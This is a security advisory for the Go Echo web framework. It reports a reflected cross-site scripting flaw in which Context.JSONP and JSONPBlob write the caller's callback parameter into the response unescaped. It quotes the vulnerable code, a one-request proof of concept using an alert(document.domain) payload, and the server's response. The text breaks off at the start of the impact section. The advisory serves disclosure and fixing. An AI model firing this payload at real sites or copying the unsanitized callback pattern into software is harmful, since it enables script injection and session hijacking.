GHSA-h9g5-28mm-hx3g - Echo vulnerable to Reflected Cross-Site Scripting (XSS) via unsanitized JSONP callback in Context.JSONP / Context.JSONPBlob

### Summary The `Context.JSONP`, `Context.JSONPBlob`, and internal `jsonPBlob` helper in `context.go` directly concatenate the caller-supplied `callback` parameter into a JavaScript response **without any validation, escaping, or allow-listing**. This creates a high-impact **reflected XSS** that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback. **Present in current master and v5.1.0 (latest release).** ### Vulnerable Code (verbatim) ```go func (c *Context) jsonPBlob(code int, callback string, i any) (err error) { c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8) c.response.WriteHeader(code) if _, err = c.response.Write([]byte(callback + "(")); err != nil { return } if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil { return } if _, err = c.response.Write([]byte(");")); err != nil { return } return } func (c *Context) JSONP(code int, callback string, i any) (err error) { return c.jsonPBlob(code, callback, i) } func (c *Context) JSONPBlob(code int, callback string, b []byte) (err error) { c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8) c.response.WriteHeader(code) if _, err = c.response.Write([]byte(callback + "(")); err != nil { return } if _, err = c.response.Write(b); err != nil { return } _, err = c.response.Write([]byte(");")) return } ``` No sanitization is performed on the callback string. ### Exploit (one-request repro) Any route using the official pattern is vulnerable: ``` Goe.GET("/api", func(c echo.Context) error { return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"}) }) ``` Attacker request: ``` GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1 Host: target.com ``` Server response: ``` Content-Type: application/javascript; charset=utf-8 alert(document.domain)//({"status":"ok"}); ``` → Immediate arbitrary JavaScript execution (full reflected XSS). ### Impact - Session hijacki